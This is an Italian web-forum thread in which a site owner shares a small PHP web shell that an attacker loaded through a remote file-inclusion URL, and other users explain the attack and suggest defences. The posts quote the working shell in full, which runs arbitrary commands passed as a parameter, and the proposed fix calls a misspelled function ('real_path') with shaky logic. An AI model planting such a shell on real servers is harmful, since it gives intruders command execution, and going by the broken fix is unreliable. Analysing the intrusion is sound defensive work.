Visualizzazione dei risultati da 1 a 9 su 9

Discussione: Delucidazioni codice

  1. #1
    Utente di HTML.it L'avatar di pacovox
    Registrato dal
    Oct 2001
    Messaggi
    557

    Delucidazioni codice

    Dalle statistiche ho visto che qualcuno è entrato nel mio sito passando come variabile uno script in php così fatto:
    codice:
    </center><font size="2"><pre>
    
    
    bash-2.05# <?
      if (isset($chdir)) @chdir($chdir);
      ob_start();
      system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
      $output = ob_get_contents();
      ob_end_clean();
      $output = str_replace("\n","\nbash-2.05# ",$output);
      if (!empty($output)) echo  str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
    
    ?>
    </pre>
    <? die(); ?>
    Vorrei capire questo furbone cosa ha fatto o cercato di fare.
    Qualcuno potrebbe darmi delle delucidazioni e magari che accorgimenti adottare?
    Grazie

  2. #2

    Re: Delucidazioni codice

    Originariamente inviato da pacovox
    Dalle statistiche ho visto che qualcuno è entrato nel mio sito passando come variabile uno script in php così fatto:
    codice:
    </center><font size="2"><pre>
    
    
    bash-2.05# <?
      if (isset($chdir)) @chdir($chdir);
      ob_start();
      system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
      $output = ob_get_contents();
      ob_end_clean();
      $output = str_replace("\n","\nbash-2.05# ",$output);
      if (!empty($output)) echo  str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
    
    ?>
    </pre>
    <? die(); ?>
    Vorrei capire questo furbone cosa ha fatto o cercato di fare.
    Qualcuno potrebbe darmi delle delucidazioni e magari che accorgimenti adottare?
    Grazie
    semplice ha provato a lanciare il comando $cmd, che non so cosa contiene, dopo di che ha inviato il contenuto a /tmp/cmdtemp e gli errori sempre li
    dopo di che ha stampato il contenuto di cmdtemp e poi lo ha eliminato
    nel frattempo ha stampato il codice a video eliminando i dati che non gli interessavano e a questo punto ha sostituito a < e > i rispettivi codici html

    SICURAMENTE $chdir e $cmd erano parametri passati dalla stringa di comando ^^
    ti conviene vedere cosa ha passato, anche per sapere quanto ti devi allarmare
    The fastest Redis alternative ... cachegrand! https://github.com/danielealbano/cachegrand

  3. #3
    cosa intendi dire "passando come variabile uno script php"

  4. #4
    Utente di HTML.it L'avatar di pacovox
    Registrato dal
    Oct 2001
    Messaggi
    557
    cosa intendi dire "passando come variabile uno script php"
    Intendo che l'url trovato nelle statistiche è:
    http://www.miosito.it/index.php?pagi...ito/readme.txt
    Lo script è in readme.txt

  5. #5
    Originariamente inviato da pacovox
    Intendo che l'url trovato nelle statistiche è:
    http://www.miosito.it/index.php?pagi...ito/readme.txt
    Lo script è in readme.txt
    tipico attakko di file inclusion ^^
    neanche un minimo di sicurezza
    The fastest Redis alternative ... cachegrand! https://github.com/danielealbano/cachegrand

  6. #6
    Utente di HTML.it L'avatar di pgm
    Registrato dal
    Apr 2002
    Messaggi
    1,281
    ciao

    scusate se mi intrometto, ma l'argomento interessa anche a me perchè non ne so molto.

    ma la mancanza di sicurezza dipende in questo caso dall'hoster del sito? com'è possibile evitare questi attacchi?

  7. #7
    Utente di HTML.it L'avatar di pacovox
    Registrato dal
    Oct 2001
    Messaggi
    557
    Non basta avere il safe_mode attivo?

  8. #8
    Originariamente inviato da pacovox
    Non basta avere il safe_mode attivo?
    ovviamente no ))

    se allow_fopen_url (o allow_url_fopen ora non ricordo) è su on possono succedere queste cose

    cmq dovresti fare un semplice check...ovvero controllare se il file che si deve includere è nella directory dove tu hai i file da includere

    usando
    http://it.php.net/real_path

    tu sai qual'è la cartella dalla quale si deve includere
    se poi ci metti che ad esempio nella document_root c'è la cartella includes dalla quale includi puoi fare

    codice:
    if ("{$_SERVER["DOCUMENT_ROOT"]}/includes" != real_path(dirname("includes/{$_GET['pagina']}.php"))) {
      echo "Tentativo di inclusione fallito! L'amminstratore è stato avvertito!
    Inclusion Failed! WebAdmin was advised";
    }
    (scusate il torrido inglese )

    come vedi oltre al check aggiungo l'estensione .php in questo modo tu passi invece di guestbook.php solo guestbook
    The fastest Redis alternative ... cachegrand! https://github.com/danielealbano/cachegrand

  9. #9
    Utente di HTML.it L'avatar di pacovox
    Registrato dal
    Oct 2001
    Messaggi
    557
    cmq dovresti fare un semplice check...ovvero controllare se il file che si deve includere è nella directory dove tu hai i file da includere
    Credo di aver capito, in questo modo posso evitare che venga incluso un file che risiede in un altro server giusto?

    Nel mio caso però la variabile "pagina" mi serve per estrarre da MySql i contenuti, non includo direttamente un file.

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.